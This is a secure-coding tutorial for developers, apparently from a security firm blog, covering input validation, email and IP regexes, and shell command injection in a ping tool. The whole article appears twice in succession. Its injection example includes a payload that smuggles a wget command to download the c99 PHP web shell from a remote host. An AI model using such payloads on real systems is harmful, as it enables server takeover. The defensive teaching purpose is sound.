Security Coding decoded for Developers - Part 1 | Lucideus Research
Introduction
A lot of work is going around in security given the rise in cyber attacks and thus the Security of data is becoming a big agenda for everyone. Of Course, being a developer, we become the first as well as last line of defence in terms of application as well as database security. There are a lot of organizations with their good but the bulky list of Top Tens for Secure Coding Practices, which more than providing solutions to developers often confuses them. So, we are trying to define the same in very simple terms using our series of articles.
There is unlimited type of vulnerability which exists but there is an only limited number of rules to keep in mind, with which a developer can make sure their code is unbreakable.
Rule #1 :: Suspect Everything (Input/ Output Sanitization)
All the data which is not being generated by the system can be manipulated, so developer need to make sure all the data which is coming to or going out of application from a third party source need to be validated, sanitized and encoded.
Example 1
Let’s say there is an input field for the user to fill in the Email Id. In order to make sure user only passes the required data to application there should be following validation on the server.
1. The input data should match the REGEX
[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?
Any failure to this should reject in input rejection without storing the input anywhere.
2. The input data should be checked for a finite data range and length.
3. The input data should be checked for the proper data type.
4. Always prefer whitelisting over blacklisting, in order to make sure only the expected value is passed.
5. Always encode the input data.
Example 2: Sanitizing input to shell commands:
For any application, there may be a need for executing shell commands or passing arguments based on user input to underlying scripts. Any data passed as an argument or in any form, for that matter, must be properly escaped, sanitized to prevent any system level attacks or a Remote Code Execution (RCE), that can lead to a complete system takeover through a backdoor. Following is an example of how an unescaped data passed to a system command call can lead to an RCE.
Consider an application, that accepts an IP address to check its reachability by initiating a ping to that IP:
This user input (IP Address) is passed to the ping shell command and displays the raw output of that command.
Firstly, let’s look how this can be exploited to get a complete system access.
If this user input is not sanitized (which is not) we can pass data that can escape the actual arguments and inject in malicious code that gets executed on the application’s shell.
127.0.0.1; ls -l
Notice, the malicious data that is passed along with the IP Address. The ping command has been terminated by the ; (semicolon) which is used to multiple commands on the shell. Now the second command that is passed (malicious data) is ls -l, which should list the files in the current directory of the application (as shown).
As we can see the output, after the ping output we can see the output of our malicious command (here ls).
The ls command may not be that malicious, but consider the below scenario, when we pass an interesting payload. I download a PHP shell from a remote server (local machine in this case) and then execute it from the URL.
127.0.0.1; wget 139.56.12.3:8000/c99.php
Wget has executed successfully. Let’s confirm it by accessing the c99 shell from the URL
Now let’s see how do me mitigate such a kind of attack.
Accept only what you want
Apply proper validation rules to all user data fields. Sanitize the input before using it in the actual place. The above application can be validated by applying a strict check to match the IP address only. The following regular expression can be used to validate an IP Address.
\b((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)(\.|$)){4}\b
Similar formats of validation rules can be applied to various fields using regular expressions or inbuilt functions provided by the language the application is being developed on. Also, after validation of input, sanitize the inputs. Escape the quotes, escape special characters, trim the spaces, or you can simply remove unwanted characters and process the data.
A lot of work is going around in security given the rise in cyber attacks and thus the Security of data is becoming a big agenda for everyone. Of Course, being a developer, we become the first as well as last line of defence in terms of application as well as database security. There are a lot of organizations with their good but the bulky list of Top Tens for Secure Coding Practices, which more than providing solutions to developers often confuses them. So, we are trying to define the same in very simple terms using our series of articles.
There is unlimited type of vulnerability which exists but there is an only limited number of rules to keep in mind, with which a developer can make sure their code is unbreakable.
Rule #1 :: Suspect Everything (Input/ Output Sanitization)
All the data which is not being generated by the system can be manipulated, so developer need to make sure all the data which is coming to or going out of application from a third party source need to be validated, sanitized and encoded.
Example 1
Let’s say there is an input field for the user to fill in the Email Id. In order to make sure user only passes the required data to application there should be following validation on the server.
1. The input data should match the REGEX
[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?
Any failure to this should reject in input rejection without storing the input anywhere.
2. The input data should be checked for a finite data range and length.
3. The input data should be checked for the proper data type.
4. Always prefer whitelisting over blacklisting, in order to make sure only the expected value is passed.
5. Always encode the input data.
Example 2: Sanitizing input to shell commands:
For any application, there may be a need for executing shell commands or passing arguments based on user input to underlying scripts. Any data passed as an argument or in any form, for that matter, must be properly escaped, sanitized to prevent any system level attacks or a Remote Code Execution (RCE), that can lead to a complete system takeover through a backdoor. Following is an example of how an unescaped data passed to a system command call can lead to an RCE.
Consider an application, that accepts an IP address to check its reachability by initiating a ping to that IP:
This user input (IP Address) is passed to the ping shell command and displays the raw output of that command.
Firstly, let’s look how this can be exploited to get a complete system access.
If this user input is not sanitized (which is not) we can pass data that can escape the actual arguments and inject in malicious code that gets executed on the application’s shell.
127.0.0.1; ls -l
Notice, the malicious data that is passed along with the IP Address. The ping command has been terminated by the ; (semicolon) which is used to multiple commands on the shell. Now the second command that is passed (malicious data) is ls -l, which should list the files in the current directory of the application (as shown).
As we can see the output, after the ping output we can see the output of our malicious command (here ls).
The ls command may not be that malicious, but consider the below scenario, when we pass an interesting payload. I download a PHP shell from a remote server (local machine in this case) and then execute it from the URL.
127.0.0.1; wget 139.56.12.3:8000/c99.php
Wget has executed successfully. Let’s confirm it by accessing the c99 shell from the URL
Now let’s see how do me mitigate such a kind of attack.
Accept only what you want
Apply proper validation rules to all user data fields. Sanitize the input before using it in the actual place. The above application can be validated by applying a strict check to match the IP address only. The following regular expression can be used to validate an IP Address.
\b((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)(\.|$)){4}\b
Similar formats of validation rules can be applied to various fields using regular expressions or inbuilt functions provided by the language the application is being developed on. Also, after validation of input, sanitize the inputs. Escape the quotes, escape special characters, trim the spaces, or you can simply remove unwanted characters and process the data.